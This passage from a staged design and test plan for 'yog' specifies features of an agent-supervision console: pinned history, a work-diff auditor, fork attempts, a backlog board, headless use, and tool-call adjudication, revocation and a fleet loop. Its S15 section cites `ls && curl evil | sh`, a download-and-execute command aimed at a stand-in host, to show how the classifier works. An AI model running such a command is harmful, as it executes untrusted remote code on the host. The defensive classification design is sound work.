  commit, in step order; a step that recorded none is still a notch and says so
  (`—`); and with nothing dispatched the chat carries its rules and no cards —
  the burden check, run rather than asserted in prose.
- **S10-T2 two-edges**: a fork sharing its parent's commit prefix wears both
  edges and reads `from here` when the two coincide; a fork from an older notch
  splits them and names `from <Name>@<oid>`; a clean child sharing no commit
  wears provenance only and names its config branch. The label is the whole
  rendering of the distinction since bl-1802, so there is no stroke to assert.
- **S10-T3 notch-pin**: a pinned notch names its commit, folds the budget
  through it and carries the cut its chat seat decided; the transcript cuts at
  what that call read (two drains with no call between them are ONE notch, not
  two); and three ways a pin declines — nothing selected, an index the spine no
  longer has, a notch with no commit — all resolve to today's read.
- **S10-T3b spine-place** (bl-1802): the pairing, run against the case that
  broke the old one — a turn calling two tools is three steps behind one
  delivered run, and each step's rule lands on the entries **it** read, so the
  next delivered run carries the commit of the call that read it and not of a
  call three messages earlier. Plus: the running call marks the tail of the
  chat, a superseded call that sealed nothing takes no seat, and a step the
  transcript has not caught up with takes none either.
- **S10-T4 spine-paint**: every rule paints its read-state commit in short-oid
  form above its crossing and never the full id; a step with no commit paints no
  rule; clicking a rule pins and clicking it again releases; a card paints its
  child, fork point, state chip, own spend and streaming tail under the rule it
  was born at; clicking a card asks to open that child.
- **S10-T5 pinned-tree**: against a real fixture repo, the Files listing as of a
  commit is that commit's blobs with their sizes as of then, `messages/`
  excluded exactly as the live walk excludes it; one file's bytes come back
  through the same `Text`/`Binary`/`Truncated` vocabulary the live preview uses;
  a commit git does not have lists nothing.
- **S10-T6 pinned-inspector**: a pin states the commit and the budget as of it
  above every pinnable tab, and no pin says nothing at all; and **clicking the
  banner releases the pin** from any of them — the proof that an operator who
  pinned in the chat and then opened Files is not stranded.

## S11 — Auditor: what the agent actually changed

Machine state: a workspace holding a claimed ball whose work branch carries
commits. Graduated from VISION §4.10 (bl-2b8c's project-delivery contract) by
bl-3746; that section is the rung's authority for *what* is compared.

1. The inspector grows a **Work tab**. For every ball the focused
   conversation's workspace holds, it shows the exact comparison the ruling
   names — `target..source` — and nothing it had to invent to get there. The
   **source** is the claim's own branch, `work/<id>`, spelled by balls'
   `delivery_path::work_branch`. The **target** is balls' own delivery-target
   rule re-derived from the balls the snapshot already carries: the parent
   ball's work branch when this ball close-gates a live parent, else the
   project's integration branch (`git symbolic-ref --short HEAD`, balls'
   spelling). yog and `bl close` therefore cannot name two different targets.
2. The listing is **one row per changed file** with lines added and removed,
   off `git diff --numstat` — counts, not bytes, so opening the tab never
   pays for the patch. A binary file says *binary*; a zero would be a lie
   about a file that changed. The exact range and both commits are printed,
   and the hover carries the literal `git -C <project> diff <target>..<source>`
   — the exact raw access stays one shell away.
3. Picking a file **reads its patch below**, bounded exactly as a file preview
   is and classified by the same `Text`/`Truncated`/`Binary` vocabulary the
   Files tab uses (one fold, `files_view::classify`, now shared by the live
   walk, the pinned tree and this). The pick names a ball as well as a path,
   because a workspace holding two balls has two diffs and a bare path would
   not say which.
4. **Nothing unreadable is swallowed.** A project repo that is gone, is not a
   git repository, or names no branch reads as *unreadable*; a ref that does
   not resolve is *absent*, naming which end is missing; a resolved pair with
   nothing between them says the branch carries no edits. Three sentences, and
   none of them is a blank list — VISION §4.10 item 4's mandate that a missing
   project renders as a named absence, never a guess.
5. **The rail's pin does not reach this tab, and the banner does not claim
   it.** A pin is a commit of the *conversation's* repo; the project commit
   each step read is the per-step OID of §4.10 item 4, which nothing writes
   yet. Saying so is cheaper than a tab that quietly shows today's project
   under a banner that says "as of".
6. It is a **pure read** — of a project repo this time, through the same
   env-scrubbed `git` doorway — with **no new verb anywhere**, in yog or
   upstream, and no write of any kind. Nothing is stored, indexed, or cached
   across snapshots: both reads are memoized per published snapshot, never per
   frame, exactly as the pinned Files tree is.
7. It has a **headless spelling**, because everything does (VISION §4.8):
   `/work-diff` is the listing and `/work-diff <ball> <path>` is one file's
   patch, the same `Query::WorkDiff` the tab builds, answered by the same
   function and encoded as the same rows.

Burden check: a workspace that holds no ball says so in one line and reads
nothing; an operator who never opens the tab pays nothing at all, because an
inactive tab builds no view-model. This rung feeds VISION V3's comparison
(bl-c2bd) and implements none of it: there is no candidate, no cohort, no
selection here — one attempt, read.

Tests:
- **S11-T1 attempt-plan**: the claimant equality picks exactly the balls that
  name this workspace; a flat ball leaves its target to the repo while a
  close-gated child targets its parent, and bare containment or a dead parent
  does not; two projects give two attempts in path order; numstat rows read as
  churn with binary said as itself and an unreadable row contributing nothing.
- **S11-T2 project-read**: against a real project repo, the diff is
  `target..source` of the bound claim with both commits named; a close-gated
  child reads against its parent's branch and not the integration branch; an
  unworked branch diffs to nothing; an unminted ref is named absent; a
  non-repo and a repo whose objects are damaged are both unreadable; a picked
  file's patch comes back through the preview vocabulary; a workspace with no
  claim has no attempt.
- **S11-T3 work-paint**: the tab paints the range, both short commits, each
  file's churn and the truncation marker; clicking a row picks ball and path
  together; the patch paints through all three preview classes; and each of the
  four declines is a sentence on screen.
- **S11-T4 headless work-diff**: the query answers off the tab's own
  derivation; the wire keeps *unreadable*, *absent* and *diff* distinguishable
  and carries the patch's class; the line round-trips in both moods and a
  half-named file is refused rather than guessed at.

## S12 — Counterfactualist: try it again from here

Machine state: a conversation with history worth walking, and a step the
operator wishes had gone differently. Graduated from VISION V2 (bl-dc0c); the
rung's authority for what it must do is that section, as amended by the three
implementation rulings recorded there.

1. A pinned notch (S10) offers **Fork from here**: a goal composer seeded
   empty, beside the pin banner, which dies with the pin. That is V2's burden
   check made structural — the composer is reachable from a pinned notch and
   from nowhere else — and a workspace whose config declares no role anywhere
   paints no composer at all, because a button that cannot work is not offered.
2. Its **three fire-time controls are three parameters of one real argv**
   (`lernie dispatch <role> <ws> <parent> --goal <text> --from <ref> [--pin …]`,
   shipped in lernie 0.0.6 and in the pin): the **fork point** (`here` — this
   conversation as of the mark — or a `config/<name>` head for a clean start:
   one control, two kinds of value), the **role**, and the **skills**. Nothing
   yog invents rides along.
3. **The role is the model, and that is what keeps it honest.** lernie binds a
   provider and a model id to a role in the `providers.yaml` of the config
   commit governing the fork point, and nowhere else — so the composer lists
   that ref's roles with the model each names, read from the file the run will
   resolve against (§5.1 #33). A free model dropdown here could offer a model
   no config declares; giving an attempt one is a config write (§9.4), not a
   dispatch flag.
4. **×N repeats the gesture; it is not a gesture of its own.** The boundary
   grew one attempt-shaped `Fork` and Fire crosses it once per candidate, each
   with its own overrides. So one attempt and a parallel cohort are the same
   path in the strongest available sense — the same single gesture, counted —
   and the trail carries one `ops.jsonl` row per candidate rather than one for
   all of them.
5. **The cohort is derived and nothing records it** (§5.1 #32): it is V1's
   cards grouped by the notch they were born at — the anchor S10 point 7
   reserved. No fan registry, no fan verb, no winner field. The group states
   the ancestry its members share once and gives each candidate a column with
   its state chip, its terminal response and its own spend; candidates off
   different refs share nothing to hoist, so each column says its own. **A
   cohort of one wears no header and is exactly the card S10 drew.**
6. **The terminal response is not a new read.** `streaming_text` is the latest
   step's accumulated text, re-read every tick — the live tail while a
   candidate runs, and the last thing it said once it settles. A second reader
   of that one open file would disagree with this one at every moment it
   matters.
7. **Read-only by construction.** An attempt forks the conversation repo and
   nothing else. Project-mutating attempts need §4.10's isolation and binding
   (bl-8746) and are not reachable from this rung — nothing here can touch a
   project worktree.

Burden check: no pin, no composer; no fork, no cohort. Never pin a notch and
the inspector is exactly S10's, which is exactly today's.

Tests:
- **S12-T1 attempt-argv**: one attempt is the ordinary dispatch with a ref —
  role, workspace, parent, the goal **verbatim** (spacing and newlines
  included), `--from`; a clean start differs from a fork in that one argument
  and nothing else; each skill is one `--pin` whose destination mirrors the
  pool's own layout, so a pinned skill lands where `load_skill` would have put
  it.
- **S12-T2 fire-time-policy**: against a real fixture repo, the points are
  `here` plus every config branch; each carries the roles its **governing**
  config commit declares with the model each binds (worker on sonnet,
  compactor on haiku, straight out of the file); and two ways a ref declares
  nothing — no config lineage reaches it, or the lineage carries no
  `providers.yaml` — both leave the point showing and offering nothing, which
  is a fact about the workspace rather than a silence.
- **S12-T3 cohort-one-path**: ×N grows by cloning the last candidate and
  floors at one; skills toggle per candidate and a stale index edits nothing;
  readiness is one rule both seats refuse on; candidates born at one notch are
  one cohort stating their shared ancestry once, a lone child is that same
  grouping with one member, and candidates off different refs have no common
  ancestry to state.
- **S12-T4 fan-paint**: a cohort paints `×N`, the shared ancestry once, and
  every candidate's name, state chip, terminal response and spend side by
  side; a cohort of one paints exactly the card S10 drew; a mixed cohort says
  so and its columns speak for themselves.
- **S12-T5 three-spellings**: the attempt round-trips through the envelope and
  through the line, with and without skills; the line's goal is the whole tail
  after `--goal`, flags it mentions included (which is why the flags lead);
  every parameter it cannot invent refuses by name; a `skills` field of the
  wrong shape refuses rather than being half-obeyed, while an absent one is no
  skills.
- **S12-T6 skills-pool**: the pool is the world's own `$LERNIE_HOME/skills`, a
  directory counts only when it carries the instructions, and an absent pool
  is no skills rather than an error.
## S13 — Admiral: the balls section is the board (VISION V4)

Machine state: a project with a decomposed backlog; some balls claimed, some
waiting on a gate.

1. **The balls section renders four columns** — ready / gated / claimed /
   blocked — each headed by its own derived count, a column with no rows
   rendering nothing at all. The three familiar rungs are derived *exactly* as
   `bl list` derives them, through the one ladder the §3.5 join reads:
   claimant ⇒ claimed, else an unresolved **claim**-blocker ⇒ blocked, else
   ready.
2. **Gated is the fourth column and it is not a new status.** It is balls' own
   `closeable` predicate — a **close**-blocker, which balls' own doc says
   "never shows as a status, it only gates the finish". A gated row is one you
   could claim and could not deliver, and it names the ball whose close mints
   its gate. A claimed ball that is also gated stays in *claimed* — a drone
   holds it — with the gate rendered on the row, so nothing hides in a bucket.
3. **A drone's exit-with-handoff is a column, not a dead conversation** (V4.4).
   Committed, unclaimed, still gated: the ball reappears on the board at its
   gate, by the same derivation, with no special case anywhere.
4. **A claimed row names its drones, and they are conversation rows** — the
   §3.3 goal stamps resolved to their roots, which is *the same set* §3.5
   attributes spend by. One derivation answers "who is on this" and "whose
   spend is this"; the row carries the root id the conversation list already
   keys on, so the operator sees the object they already know.
5. **Spend is a column**, and an epic carries the rollup over its live subtree
   across every workspace its children are claimed in — §3.5's recorded
   follow-on, enumerated off the board's own join. Each workspace contributes
   once: whole, if any member there attributes workspace-wide, else the union
   of its stamped roots.
6. **The board never costs a frame a disk read.** The `steps/` walk moved to
   the derivation worker and rides out on the snapshot; a figure per row is a
   filter over memory. This is also the fix for the pre-existing frame-thread
   walk the Altitude-1 header made.
7. **It is a query with three spellings**, not a widget: `/board`,
   `{"op":"board"}`, and the window's own variant, all one `boundary::answer`.
   Every action a row offers was already a boundary variant, so the board adds
   no gesture — and there is no GUI-only surface.

**What this rung deferred, and where it landed:** V4.2's armed-loop facts —
cap, count, tick, spawn/reap rows with comparison-shaped reasons. There was no
armed loop when this rung shipped: bl-3381 had shipped the *watcher* clock
(`cadence.yaml`) and nothing else, and V4's own precondition held fleet mode
shut until a drone had a mechanical isolated project target (bl-2b8c) **and**
its tools had an explicit capability policy (bl-0cea). Both closed, and the
loop landed as its own rung, **S18** (bl-66fb) — and it landed *off*.
V4's burden check still rules everything an unarmed operator sees, verbatim:
*"unarmed, the board is today's balls section"*.

Burden check: an operator with one ready ball sees one column with one row —
today's section, grouped. A world with no balls renders no columns at all, and
the S0 stranger's window is unchanged.

Tests:
- **S13-T1 columns-are-the-ladder-crossed**: the `board::column` table
  exhaustively — every (ladder rung × gated?) cell, including claimed-and-gated
  staying claimed — plus the assertion that all three ladder columns spell
  themselves with balls' own `Status::word`, so the board and `bl list` cannot
  drift in vocabulary.
- **S13-T2 one-fixture-per-column**: four balls whose *stored* facts put them
  in the four columns; each lands where its blockers and claimant say, each
  column's derived count is 1, and a gated row names the gating ball's id and
  title.
- **S13-T3 the-live-set-is-the-resolver**: a close-blocker onto a ball that has
  since closed is no gate at all, and the row is plain ready — the same rule
  the claim ladder resolves by, spelled once.
- **S13-T4 board-is-the-join-filtered**: delivered, unassigned-workspace and
  orphaned-project join rows leave the board rather than arriving with a
  fabricated status; order is priority then id, deterministic (I9).
- **S13-T5 drones-and-spend-are-one-derivation**: a claimed row's drone rows
  are the stamped roots, named with the §3.3 display name, and the row's figure
  is the figure those same roots attribute; an unclaimed ball carries no figure
  at all rather than a zero.
- **S13-T6 rollup-crosses-workspaces-billing-each-once**: an epic whose
  children are claimed in two workspaces sums all three conversations; a leaf
  gets no rollup; a subtree bound nowhere gets none either; and one unstamped
  member widens its whole workspace to the workspace arm, **absorbing** the
  stamped sibling beside it rather than adding to it.
- **S13-T7 three-spellings**: `Query::Board` round-trips through the codec and
  through `line::spell`/`parse`, the help table carries its page, and the reply
  encodes every optional field present-or-absent in both directions.
- **S13-T8 the-walk-is-the-workers**: a bill carries its conv id, selection
  after the walk equals the scoped walk itself, and a repeated root does not
  double-bill.

## S14 — Teleoperator: yog without the window (VISION V5)

Machine state: the operator is not at the machine — a phone, a peer fleet's
coordinator, an agent. Some conversations are waiting on somebody.

1. **`yog serve` is the same binary minus the window, and now literally the
   same code.** One `Engine::boot` (`src/engine.rs`) is the whole of a running
   yog minus its face: the §5.2 startup sweep, the §7.1 roots, the model's first
   synchronous derivation, and the derivation worker + watch bridge + gesture
   consumer beside it. The two faces are two calls to it differing in one
   argument — the repaint hook. This is a *deletion*, not a feature: the
   assembly used to exist twice inside `main.rs`, the one file coverage
   excludes, so the copies could drift and no test could see it. What a window
   adds beside the engine is exactly what a window is — an event loop to wake,
   the §8.5 searcher, and the §5.3 RAM surfaces a pointer needs.
2. **The attention strip is addressable.** `/attention` is the §6 predicate as a
   list: every conversation waiting on the operator across every workspace, in
   §6's attention-ranked roster order — the jump's order, which the ↓ key
   walked until bl-fa82 gave that key §11's visible list rows — each row
   carrying the address a gesture
   takes (`workspace` + `agent`), its name, its state, **which** signals fire,
   what it last said, its age, and its undelivered-mail count. It is not a
   second model of "what needs you" — the queue is the roster's own subsequence,
   so its length is the strip's own number.
3. **Answering writes the window's watermarks.** `/seen` records the
   conversation's present evidence as acknowledged, from the *one* definition
   (`attention::evidence`) the window's focus tick reads — so a headless answer
   and a windowed one are the same bytes in `ui.json`, and I0 converges the two
   frontends over one disk rather than over a protocol. Its answer is **the
   queue that remains**, which makes the operator's loop one gesture per
   decision. Undelivered mail is not a watermark and is not quieted: §6 rule 5
   self-clears when a driver reads the inbox, and no acknowledgement may pretend
   otherwise.
4. **Forwarding needed no verb.** An escalation handed on is `/message` aimed at
   somebody else, carrying the row's own text. A `/forward` would be a second
   spelling of a gesture that exists.
5. **The reclassification is written down, not smuggled.** §4.8 files seen
   watermarks under *views*, and that stands where it was written: at the
   window the watermark rides on focus, and focusing is looking. A seat with no
   focus has no looking to ride on, so acknowledging there is the operator
   saying "handled" — it changes what every other seat is told needs attention,
   which is doing something. Hence an action, and hence DESIGN §8.5 says so out
   loud.

**What this rung deferred, and where it landed:** V5.1's "backend loop". The
clock was real (`cadence.yaml`) and the dispatch surface was real; the fleet
loop did not exist anywhere in `src/` — bl-9dd4 established that — and VISION
§8's no-capability-theater refusal plus §4.3's hold on fleet mode (then pending
bl-0cea) both forbade growing one under a teleoperation rung. It landed on its
own rung instead, **S18** (bl-66fb), off by default; an unarmed headless yog is
exactly the headless yog this rung shipped.

Burden check: the windowed operator sees nothing new — no widget, no chip, no
row. The strip, the ↓ key and the jump control behave exactly as before, now
reading the roster the queue reads.

Tests:
- **S14-T1 the-queue-is-the-roster-filtered**: over two workspaces, the queue's
  ids are the roster's attention-bearing subsequence in roster order, and its
  length equals `attention::strip_total` over the same inputs — the number the
  window paints and the rows a headless seat gets cannot disagree.
- **S14-T2 a-row-is-answerable-as-it-stands**: one conversation firing all five
  §6 signals renders its address, display name, state, uncertainty, age,
  pending count, preview and its signals in badge order — everything needed to
  answer it without a second read.
- **S14-T3 answering-writes-the-windows-watermarks**: `/seen` records exactly
  the `(kind, oid)` pairs `attention::evidence` names (four — mail carries no
  oid), a foreign oid stays unseen, and the row leaves the queue.
- **S14-T4 mail-is-not-quieted**: an acknowledged conversation whose inbox is
  undelivered stays on the queue with `mail` as its only signal.
- **S14-T5 an-answer-aimed-at-nothing-refuses**: an unknown agent and an
  unknown workspace each refuse by name rather than reporting a silent success.
- **S14-T6 three-spellings**: `Query::Attention` and `Action::MarkSeen`
  round-trip through the codec and through `line::spell`/`parse`, each has a
  help page, a malformed `seen` envelope refuses naming its missing field, and
  the reply encodes every signal word and the address keys the gestures take.
- **S14-T7 read-then-answer-over-one-ui-json**: through the deposit transport,
  `{"op":"attention"}` returns the waiting row and `{"op":"seen",…}` returns the
  empty queue that remains — with the watermark landing in the `ui.json` the
  window reads (I0).
- **S14-T8 a-windowless-engine-answers**: `Engine::boot` into a hermetic world
  with `NoRepaint` runs the §5.2 sweep, brings up every thread a running yog
  has and none of them a frame, answers a deposit, and stops cleanly on drop —
  the V5 claim, end to end, with no display anywhere.

## S15 — Warden: nothing runs unadjudicated (VISION §4.11)

Machine state: a workspace with a drone at work and no human at the window.

1. **Every granted tool invocation is adjudicated before it executes.** The
   enforcement point is lernie's own shipped tool-control seam: the workspace's
   `workflow.yaml` names one executable, hands it the `tool_use` block plus the
   calling role and agent id, and reads back `pass` / `refuse` / `hold`,
   failing closed. yog *is* that executable — a `world/tools/` re-exec shim
   named by **absolute path**, so no host binary can shadow the adjudicator.
   No new primitive is asked of anyone, and the shipped whole-pool grant is
   untouched: grants are lernie's structure, the control is yog's policy.
2. **The vocabulary classifies invocations, never tool names.** read / target
   write / process / open-world / destructive / secret. Built-ins carry an
   intrinsic map; `cd` and `apply_patch` are judged against the writable root
   at consult time; `bash` goes to an operator ruleset over *every program the
   command would run*, so `ls && curl evil | sh` is not a read. **An unmatched
   program is open-world**: classification error fails toward the wider class,
   never into `read`.
3. **The writable root is the job's own ground** — the agent worktree plus the
   bound attempt worktree — derived from facts yog owns: the claim yog itself
   made and logged. The agent's `cd` mark is read to interpret relative
   operands and never to widen the root.
4. **One default table, and it passes everything but loss and credentials**:
   read / target write / process / open-world pass; destructive and secret are
   declined in band. **A hold is imposed, never shipped** — a workspace's own
   `table:` row, or the monitor's floor over one conversation — because a park
   on every fetch buys approvals given by reflex. A hold parks the branch: the
   driver exits, nothing at or past the held call ran, the drone costs nothing
   while it waits. A refusal is a decline the model reads and steps past. **No
   enforcement path ever stops an agent**, and no modal exists in either
   frontend: attended and unattended are one flow.
5. **The workspace is born adjudicated.** Every start converges the workspace's
   `config/default` onto a workflow naming the shim, through lernie's own
   config verb — so a workspace made a moment ago and one made last week are
   both controlled, and every agent forked after that commit is. A tip that
   already names the shim reads one file out of git and spawns nothing.
6. **The control writes nothing, ever.** A held invocation is re-adjudicated on
   the next drive, so every consult must answer the same way twice. The
   operator's answers live where the audit already does: `ops.jsonl` rows are
   at once the record and the fold the control reads.

Tests:
- **S15-T1 the-shim-answers-the-seam** (`tests/tool_control_shim.rs`): the
  seeded shim, spawned with no argv and a request on stdin, prints one verdict
  on stdout — a pass carrying no reason (lernie's parser rejects one), a hold
  with its reason once a floor row imposes one, a refusal at exit **0** (a decline is an answer;
  the seam reads non-zero as a fault), and a non-zero exit for a request nobody
  could adjudicate.
- **S15-T2 the-vocabulary-is-per-invocation** (`control::bash`,
  `control::classify`): the shipped rows over real commands, a compound command
  as wide as its widest part, an unmatched program landing open-world, a write
  redirect outside the root outranking a reading program, a secret path
  outranking its program's row, and `rm` reading its own operands.
- **S15-T3 the-root-is-yog-s-own-fact** (`control::root`, `control::tests`):
  the writable root is the agent worktree plus the claim *this* workspace made;
  another workspace's claim is not in it; the `cd` mark resolves operands and
  never widens.
- **S15-T4 the-fold-is-the-trail** (`control::judge`): the table alone answers
  an unanswered invocation; a once-answer scoped to the `tool_use` id wins over
  it; a conversation floor raises every class above read across the whole
  descent subtree and never lowers a refusal; every other ops row folds to
  nothing.
- **S15-T5 authoring-is-a-fixed-point** (`control::author`, `start::tests`):
  a tip without the block is driven through `lernie config` with the **whole**
  workflow staged; a tip that already names the shim spawns nothing; a drive
  that fails aborts the start with its own `["yog-step","control"]` row.

## S16 — Releaser: a parked drone is seen, and answered (VISION §4.11 items 4–8)

Machine state: S15's control is live, and a drone has just tried to run `curl`.
Nothing is running; nothing is lost; nothing has been spent since.

1. **The park is visible, not silent.** The hold mark is a sixth §6 attention
   signal, so a parked conversation raises the same `⚑` a notify does, wears a
   `held` badge beside its state, and takes its place in the decision queue in
   the order the ↓ key walks. It is **not acknowledgeable**: a watermark over a
   park would hide a conversation that nothing but an answer can move, so the
   signal clears only when the mark lifts — mail's precedent, one rule harder.
2. **The queue row says what is waiting.** The control's own sentence rides the
   mark: the tool, a bounded summary of what it was about to do, the effect
   class it landed in, and the evidence that put it there. So an operator — or
   an agent reading `/attention` — decides without opening a transcript, and
   there is no second list of parked drones to disagree with the first.
3. **Answering is one gesture, in all three spellings.** `/answer pass` lets
   that one call through; `/answer refuse` declines it in band; `/answer hold`
   keeps it parked even against a later policy edit. The windowed seat is two
   buttons that appear with the park and vanish with it. The held `tool_use` id
   is never typed: it is read off the mark at fire time, so the answer lands on
   what is parked *now* and cannot be spent by a different call.
4. **The answer is the audit.** One `ops.jsonl` row — `["yog-control","answer",
   <tool_use id>,<verdict>]` — is at once the record and the memory the control
   folds on its next consult. No fourth durable artifact.
5. **The release is the re-adjudication.** A pass or a refuse fires `lernie
   advance` detached; the seam re-enters the tool window under the mark,
   re-consults the control, now finds the answer, and the branch moves. Nothing
   stops the agent — a stop mid-tool-window wedges it permanently.
6. **Policy is per workspace, and its absence is the shipped defaults.**
   `capability.yaml` on `config/default`, read at the **live tip** on every
   consult, overrides the class→verdict table row by row, prepends operator
   classification rows to the bash ruleset, widens the secret-path list, and
   may declare `confinement: required`. Deleting the file deletes the policy,
   not the gate; it is written through the §9.3 lineage gesture that already
   exists, so the capability boundary adds no write path of its own.
7. **A promised wall that isn't there is refused, not faked.** A workspace
   declaring `confinement: required` fires no drone — start or fork — while no
   confinement layer exists, and no affordance renders for the layer that does
   not exist.

Tests:
- **S16-T1 a-park-is-attention-nothing-can-quiet** (`attention`, `git_tree`):
  the mark reads back off the blob lernie writes; a mangled blob is no park at
  all; the signal fires, wears its badge, survives every watermark, and writes
  none.
- **S16-T2 the-answer-is-the-fold's-memory** (`boundary::control`): the row is
  written before anything is launched and the control's own fold reads it back
  as the verdict for that exact `tool_use` id.
- **S16-T3 releasing-drives-and-parking-does-not** (`boundary::control`): pass
  and refuse each launch a detached `lernie advance` as its own logged row; a
  `hold` answer writes the row and launches nothing; a launch that never lands
  is still an answer and still a row; an answer aimed at nothing refuses and
  writes nothing.
- **S16-T4 three-spellings** (`boundary::codec`, `boundary::line`,
  `boundary::help`): every verdict round-trips as envelope and as line, the
  `tool_use` id appears on neither wire, an unknown verdict is refused by name
  in both, and the verb has a page.
- **S16-T5 policy-is-severable** (`control::policy`, `control::tests::policy`):
  no file and an empty file are the shipped state; through the real process
  body, a table row passes what shipped-holds, an operator rule classifies what
  no shipped row names, and an added secret fragment outranks a read row.
- **S16-T6 confinement-required-refuses** (`boundary::control`): the gate is a
  no-op with nothing declared, refuses by name when the line is there, and goes
  quiet again when it is removed.

## S17 — Warden, again: a drone that drifted stops acting on its own (VISION §4.9's fifth rung)

Machine state: S16's boundary is live. One conversation's recent work has
stopped serving its goal — the monitor said so, or you read the transcript and
saw it yourself. You do not want it dead; you want it to stop deciding.

1. **Revoking is one gesture, and it kills nothing.** `/revoke` takes the
   selected conversation's tool auto-approval away. It keeps running, keeps its
   branch, keeps its history and keeps *reading* — every class above a read
   simply parks at the boundary instead of executing, which is the same park a
   held call already makes, applied to all of them. Nothing is stopped, because
   a stop mid-tool-window wedges the branch permanently.
2. **It covers the subtree, including children not born yet.** The floor stands
   over the named conversation and everything below it in the descent, so
   revoking a parent revokes a fan without enumerating one — and a drone it
   spawns afterwards is born under the same floor.
3. **It raises; it never lowers.** Anything the policy already refuses stays
   refused, and a call you pass with `/answer pass` still goes through — so a
   floored conversation can be walked forward one call at a time, which is what
   makes revoking a supervision mode rather than a death sentence.
4. **The floor is the audit.** One `ops.jsonl` row —
   `["yog-control","floor",<conversation id>,"raise"|"lower"]` — is at once the
   record and the memory the control folds on its next consult. Latest row
   wins, so `/restore` is the same gesture the other way and there is no order
   to get wrong. It carries no reason of its own: the reason is the row before
   it, the verdict or flag that prompted it.
5. **The receipt states what stands, not what was asked.** Restoring a
   conversation whose ancestor is still revoked answers *still floored*, because
   the reply is re-read off the trail. Restoring drives nothing — a conversation
   parked at a held call is released by answering that call.
6. **Nothing fires it for you.** It is a rung the operator wires — a
   `cadence.yaml` tier-0 row, or a grant to an alignment responder, both config
   — and the monitor still ships flag-only. A verdict is an *input* to the
   capability policy, never a capability itself.

Tests:
- **S17-T1 the-floor-is-the-folds-memory** (`boundary::control::tests::floor`):
  the row lands in the grammar the control reads, exactly one row is written,
  and the fold then holds every class above read, passes a read, leaves a
  refusal refused, and leaves an unfloored conversation alone.
- **S17-T2 one-row-covers-a-descent** (`boundary::control::tests::floor`): a
  floor on a conversation holds its child; a sibling whose id merely shares a
  prefix is untouched.
- **S17-T3 latest-row-wins-and-the-receipt-re-derives**
  (`boundary::control::tests::floor`): restore lifts it and answers `standing:
  false`; a child restored under a floored parent answers `standing: true` and
  is still held.
- **S17-T4 three-spellings** (`boundary::codec`, `boundary::line`,
  `boundary::help`): both directions round-trip as envelope and as line, the
  direction is the op/verb and never a field, the address fields are required
  in the envelope and taken from the seat on the line, and both verbs have a
  page.
- **S17-T5 reachable-from-the-one-chokepoint**
  (`boundary::control::tests::floor`, `boundary::reply`): the gesture runs
  through `dispatch` — the door both frontends enter — and its reply encodes as
  the receipt above.

## S18 — Admiral, armed: the loop is facts, and every move is a row (VISION §4.3, §5 V4.2)

Machine state: S13's board is live, S15's control adjudicates every drone tool
call, and the operator has decided to let yog take work by itself.

1. **Arming is a gesture, and it is the only thing that turns the loop on.**
   `/fleet 3` on the focused workspace writes one `cadence.yaml` `fleet:` entry
   — the project it takes work from, and the cap it may hold — beside the entry
   the clock already keeps there. `/disband` deletes it. Both spell as envelope
   and as line and both have a page, like every other gesture. Nothing is
   seeded and nothing is spawned by the arm itself: the first spawn is the
   *loop's*, on its next tick. I7 holds the way §4.3 rules it — the arm is the
   explicit user action, and an armed loop's spawns are that action continuing.
2. **The loop renders as facts, not magic.** An armed workspace shows one line
   on the board: how many balls it holds against its cap, the period inside
   which it looks again, how long ago it last did anything, and the lease a
   quiet drone's claim gets. Every one is derived — the cap from the entry, the
   count from the board's own claimed rows, the last act from the trail — and
   none of them is stored anywhere.
3. **The ceiling renders where it will bind: on the next spawn.** When the
   workspace's spend has reached the `ui.json` ceiling, the board says so on the
   loop's own line, in the gate's own words, and the loop stops taking work
   rather than firing births it knows will be refused. It is the same policy
   object the spawn gate consults, so raising the number moves both at once.
4. **Every spawn and every reap is a row, and a reap's reason is the
   comparison.** `["yog-fleet","spawn",<ball>,<conversation>]` when it takes
   work; `["yog-fleet","reap",<ball>,<claimant>]` with *"lease expired 14m ago"*
   as its reason when it gives a claim back. Never a diagnosis: the loop does
   not say why a drone went quiet, only that it has been quiet longer than the
   operator's own number. A move that did not land leaves no loop row — the
   executor that refused it already left one.
5. **Nothing running is ever touched.** A reap releases a claim; it does not
   stop, message or delete a conversation. A live or in-flight drone is never
   reaped however old its claim, because killing mid-ball destroys uncommitted
   work — the ceiling's own ruling, applied to claims.
6. **One move per tick, and no memory between ticks.** A tick reaps or spawns,
   once, and stops. It keeps nothing: the next tick reads the world the last one
   left, so a missed tick, a crashed yog and a second instance all converge, and
   no board state can make the loop storm.

Burden check: **unarmed, the board is today's balls section** — no chip, no
loop line, no rows, no calls. Severability is deleting the `cadence.yaml`
entry, which deletes the loop and not a code path.

Tests:
- **S18-T1 unarmed-is-today's-board** (`fleet::facts`, `fleet::pilot`,
  `app::tests::derive`, `boundary::reply`): an unarmed world derives no loop
  facts even with claimed rows in front of it; an unarmed tick returns before it
  builds a board, opens `ui.json` or reads the trail, and leaves no `ops.jsonl`
  at all; the board reply omits the key rather than answering an empty list;
  and adding then deleting the entry arms and disarms end to end through the
  worker's own announcement.
- **S18-T2 every-fact-is-a-query** (`fleet::facts`): the count is the board's
  own claimed rows for that workspace and nothing else's; the cap, project and
  lease are the entry; the last act is the newest `yog-fleet` row; a loop that
  has never acted says so rather than saying zero.
- **S18-T3 the-ceiling-binds-the-next-spawn** (`fleet::facts`, `fleet::pilot`):
  a workspace over its ceiling renders the gate's own refusal on the loop line
  and has no room, so the tick plans no birth.
- **S18-T4 the-move-is-a-comparison** (`fleet::pilot`): a ball quiet past its
  lease is reaped with *"lease expired Nm ago"* as its reason; a live or
  in-flight drone is never reaped; no lease reaps nothing; a claim with no
  conversation is not reapable; reaps go before spawns; a gated ball and another
  project's ball are not this loop's work.
- **S18-T5 one-row-per-landed-move** (`fleet::row`, `fleet::pilot::tests::fire`):
  a spawn and a reap each round-trip through the trail as themselves with the
  comparison verbatim, nothing else on the trail reads as one, and a refused
  reap or spawn writes no loop row.
- **S18-T6 three-spellings** (`boundary::codec`, `boundary::line`,
  `boundary::help`, `boundary::fleet`): arm and disband round-trip as envelope
  and as line, the envelope requires the project and the cap the line takes from
  its seat, an unreadable cap is refused by name, both verbs have a page, and
  the executor writes one entry and one step row while leaving the clock's own
  entry byte-for-byte.

## Invariant tests (every rung)

- **INV-1 idle-is-pure**: constructing AppModel + N ticks with no user
  action performs **no mutating spawn and no substrate write** (I7). The
  permitted read spawns are now **none**: DESIGN §16.7 W8 made the §7.2 fetch
  cadence an in-process typed store load, and W13 deleted the last of them (W5's
  `--help`/`--version` capability probes). The test asserts the `bl` recorder
  logs ZERO invocations while a real ball still reaches the model, which is the
